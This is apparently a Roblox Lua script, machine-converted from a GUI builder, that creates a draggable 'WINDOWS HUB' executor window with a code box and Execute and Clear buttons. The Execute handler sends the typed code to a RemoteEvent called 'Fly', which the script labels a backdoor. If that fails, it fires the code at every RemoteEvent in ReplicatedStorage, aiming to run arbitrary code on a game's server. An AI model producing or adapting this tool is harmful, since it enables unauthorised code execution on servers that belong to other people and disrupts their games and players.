--[=[ d888b db db d888888b .d888b. db db db .d8b. 88' Y8b 88 88 `88' VP `8D 88 88 88 d8' `8b 88 88 88 88 odD' 88 88 88 88ooo88 88 ooo 88 88 88 .88' 88 88 88 88~~~88 88. ~8~ 88b d88 .88. j88. 88booo. 88b d88 88 88 @uniquadev Y888P ~Y8888P' Y888888P 888888D Y88888P ~Y8888P' YP YP CONVERTER designed using localmaze gui creator ]=] -- Instances: 13 | Scripts: 3 | Modules: 0 | Tags: 0 local LMG2L = {}; -- Players.COGUB0.PlayerGui.Executor LMG2L["Executor_1"] = Instance.new("ScreenGui", game:GetService("Players").LocalPlayer:WaitForChild("PlayerGui")); LMG2L["Executor_1"]["Name"] = [[Executor]]; LMG2L["Executor_1"]["ZIndexBehavior"] = Enum.ZIndexBehavior.Sibling; LMG2L["Executor_1"]["ResetOnSpawn"] = false; -- Players.COGUB0.PlayerGui.Executor.v1 LMG2L["v1_2"] = Instance.new("Frame", LMG2L["Executor_1"]); LMG2L["v1_2"]["BorderSizePixel"] = 0; LMG2L["v1_2"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); LMG2L["v1_2"]["Size"] = UDim2.new(0, 324, 0, 208); LMG2L["v1_2"]["Position"] = UDim2.new(0, 390, 0, 162); LMG2L["v1_2"]["Name"] = [[v1]]; -- Players.COGUB0.PlayerGui.Executor.v1.Clear LMG2L["Clear_3"] = Instance.new("TextButton", LMG2L["v1_2"]); LMG2L["Clear_3"]["BorderSizePixel"] = 0; LMG2L["Clear_3"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); LMG2L["Clear_3"]["BackgroundTransparency"] = 0.4; LMG2L["Clear_3"]["Size"] = UDim2.new(0, 138, 0, 44); LMG2L["Clear_3"]["Text"] = [[Clear]]; LMG2L["Clear_3"]["Name"] = [[Clear]]; LMG2L["Clear_3"]["Position"] = UDim2.new(0, 170, 0, 160); -- Players.COGUB0.PlayerGui.Executor.v1.Clear.LocalScript LMG2L["LocalScript_4"] = Instance.new("LocalScript", LMG2L["Clear_3"]); -- Players.COGUB0.PlayerGui.Executor.v1.lua LMG2L["lua_5"] = Instance.new("TextBox", LMG2L["v1_2"]); LMG2L["lua_5"]["Name"] = [[lua]]; LMG2L["lua_5"]["BorderSizePixel"] = 0; LMG2L["lua_5"]["TextWrapped"] = true; LMG2L["lua_5"]["TextSize"] = 21; LMG2L["lua_5"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); LMG2L["lua_5"]["ClearTextOnFocus"] = false; LMG2L["lua_5"]["PlaceholderText"] = [[Require]]; LMG2L["lua_5"]["Size"] = UDim2.new(0, 314, 0, 78); LMG2L["lua_5"]["Position"] = UDim2.new(0, 4, 0, 76); LMG2L["lua_5"]["Text"] = [[]]; LMG2L["lua_5"]["BackgroundTransparency"] = 0.6; -- Players.COGUB0.PlayerGui.Executor.v1.UIStroke LMG2L["UIStroke_6"] = Instance.new("UIStroke", LMG2L["v1_2"]); LMG2L["UIStroke_6"]["Thickness"] = 6; LMG2L["UIStroke_6"]["Color"] = Color3.fromRGB(255, 255, 255); -- Players.COGUB0.PlayerGui.Executor.v1.UIStroke.UIGradient LMG2L["UIGradient_7"] = Instance.new("UIGradient", LMG2L["UIStroke_6"]); LMG2L["UIGradient_7"]["Color"] = ColorSequence.new{ColorSequenceKeypoint.new(0.000, Color3.fromRGB(255, 0, 0)),ColorSequenceKeypoint.new(0.646, Color3.fromRGB(252, 255, 4)),ColorSequenceKeypoint.new(1.000, Color3.fromRGB(252, 255, 4))}; -- Players.COGUB0.PlayerGui.Executor.v1.UIStroke.UIGradient.LocalScript LMG2L["LocalScript_8"] = Instance.new("LocalScript", LMG2L["UIGradient_7"]); -- Players.COGUB0.PlayerGui.Executor.v1.Exec LMG2L["Exec_9"] = Instance.new("TextButton", LMG2L["v1_2"]); LMG2L["Exec_9"]["BorderSizePixel"] = 0; LMG2L["Exec_9"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); LMG2L["Exec_9"]["BackgroundTransparency"] = 0.4; LMG2L["Exec_9"]["Size"] = UDim2.new(0, 138, 0, 44); LMG2L["Exec_9"]["Text"] = [[Execute]]; LMG2L["Exec_9"]["Name"] = [[Exec]]; LMG2L["Exec_9"]["Position"] = UDim2.new(0, 6, 0, 160); -- Players.COGUB0.PlayerGui.Executor.v1.Exec.LocalScript LMG2L["LocalScript_a"] = Instance.new("LocalScript", LMG2L["Exec_9"]); -- Players.COGUB0.PlayerGui.Executor.v1.Title LMG2L["Title_b"] = Instance.new("TextLabel", LMG2L["v1_2"]); LMG2L["Title_b"]["BorderSizePixel"] = 0; LMG2L["Title_b"]["TextSize"] = 26; LMG2L["Title_b"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); LMG2L["Title_b"]["BackgroundTransparency"] = 0.8; LMG2L["Title_b"]["Size"] = UDim2.new(0, 324, 0, 62); LMG2L["Title_b"]["Text"] = [[WINDOWS HUB]]; LMG2L["Title_b"]["Name"] = [[Title]]; -- Players.COGUB0.PlayerGui.Executor.v1.UIGradient LMG2L["UIGradient_c"] = Instance.new("UIGradient", LMG2L["v1_2"]); LMG2L["UIGradient_c"]["Color"] = ColorSequence.new{ColorSequenceKeypoint.new(0.000, Color3.fromRGB(255, 182, 5)),ColorSequenceKeypoint.new(0.000, Color3.fromRGB(255, 0, 0)),ColorSequenceKeypoint.new(1.000, Color3.fromRGB(0, 255, 12))}; -- Players.COGUB0.PlayerGui.Executor.v1.UIDragDetector LMG2L["UIDragDetector_d"] = Instance.new("UIDragDetector", LMG2L["v1_2"]); -- Players.COGUB0.PlayerGui.Executor.v1.Clear.LocalScript local function C_4() local script = LMG2L["LocalScript_4"]; script.Parent.MouseButton1Click:Connect(function() script.Parent.Parent.lua.Text = "" end) end; task.spawn(C_4); -- Players.COGUB0.PlayerGui.Executor.v1.UIStroke.UIGradient.LocalScript local function C_8() local script = LMG2L["LocalScript_8"]; local gradient = script.Parent local tweenService = game:GetService("TweenService") local tweenInfo = TweenInfo.new( 5, -- Time it takes to complete one full rotation Enum.EasingStyle.Linear, Enum.EasingDirection.InOut, -1, -- Infinite repeat false -- Doesn't reverse ) local tween = tweenService:Create(gradient, tweenInfo, {Rotation = 360}) tween:Play() end; task.spawn(C_8); -- Players.COGUB0.PlayerGui.Executor.v1.Exec.LocalScript local function C_a() local script = LMG2L["LocalScript_a"]; local rs = game:GetService("ReplicatedStorage") local button = script.Parent local box = script.Parent.Parent.lua -- CHANGE IT TO YOUR TEXTBOX PATH button.MouseButton1Click:Connect(function() local code = box.Text if code == "" or code == "-- Ready to execute" then return end local rs = game:GetService("ReplicatedStorage") local backdoor = rs:FindFirstChild("Fly") local success = false if backdoor and backdoor:IsA("RemoteEvent") then success = pcall(function() backdoor:FireServer(code) end) end if not success then for _, v in pairs(rs:GetChildren()) do if v:IsA("RemoteEvent") then task.spawn(function() v:FireServer(code) end) end end end end) end; task.spawn(C_a); return LMG2L["Executor_1"], require;